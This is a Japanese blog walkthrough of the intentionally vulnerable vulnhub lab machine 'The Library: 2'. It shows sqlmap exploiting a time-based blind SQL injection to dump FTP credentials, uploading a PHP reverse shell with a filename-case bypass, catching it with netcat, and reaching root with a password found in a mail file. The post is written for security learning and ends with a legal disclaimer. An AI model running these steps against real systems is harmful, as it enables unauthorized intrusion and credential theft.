0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

vulnhub Walkthrough:The Library:2

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたThe Library:2のWalkthroughとなります。

vulnhubの情報

Name The Library: 2
Date release 25 Jul 2019
Author Avraham Cohen
Series The Library

PortScan:

nmapを使用して、対象マシーンのポートを調べてみます。
ftpApacheが存在することがわかりました。

PORT SERVICE VERSION
21 ftp vsftpd 3.0.3
80 http Apache httpd 2.4.18 ((Ubuntu))

root@kali:~# nmap -sS -sV 192.168.56.57
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 07:52 EDT
Nmap scan report for 192.168.56.57
Host is up (0.00066s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:4A:CD (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds

Enumeration:

webサーバのディレクトリを探したとところ、library.phpを見つけました。


root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat May  2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)                                                                                                                       
-----------------
END_TIME: Sat May  2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1

スクリーンショット 2020-05-02 20.56.10.png

Exploitation:

GETパラメータにSQLインジェクションがあるか探してみましたが見つからなかったので、
POSTメソッドに変更してsqlmapを使用したところ、sqlインジェクションが存在することがわかりました。


root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] starting @ 08:00:26 /2020-05-02/


[08:00:26] [INFO] resuming back-end DBMS 'mysql' 
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys


[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'


[*] ending @ 08:00:26 /2020-05-02/

データベース名がわかったので、テーブルを指定してsqlmapを使用したところ、ftpのアカウント情報がわかりました。わかったアカウント情報でftp接続することができました。


root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump

Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password       |
+----+---------+----------+----------------+
| 1  | ftp     | globus   | AroundTheWorld |
+----+---------+----------+----------------+


root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

FTPに接続することができたのでリーバスシェルをアップロードし、サーバに接続できるか試します。


root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 25  2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> put shell.php 
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp>

shell.phpをアップロードすることができませんでした。
ファイル名shell.PHPに変更し再度アップロードしたところ、アップロードすることができました。 (実行権限も付与してあります。)


ftp> put shell.PHP 
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rw-------    1 1001     1001         5494 May 02 14:26 shell.PHP
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.

ペイロードのアップロードが完了したのでWEBブラウザから実行させます。その前に、netcatを使用し接続を待ち受けます。アップロードしたペイロードを実行したところアクセスすることができました。


root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 14:30:10 up  1:06,  0 users,  load average: 0.03, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Privilege Escalation:

まずはpythonを使用しインタラクティブなシェルを取得します。


$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$ 

いろいろな情報を探していたところ、mailディレクトリを発見しました。welcomeファイルを確認したところ、rootユーザのパスワードらしきものが記載されていました。


www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome    
cat welcome
Welcome Administrator,

This is the library. 

Database credentials: username / password.
Root password: secretPassword

suで先ほど見つけたパスワードでrootユーザに昇格できるか試したところ、rootユーザになることができました。

いぇーい


www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword

root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?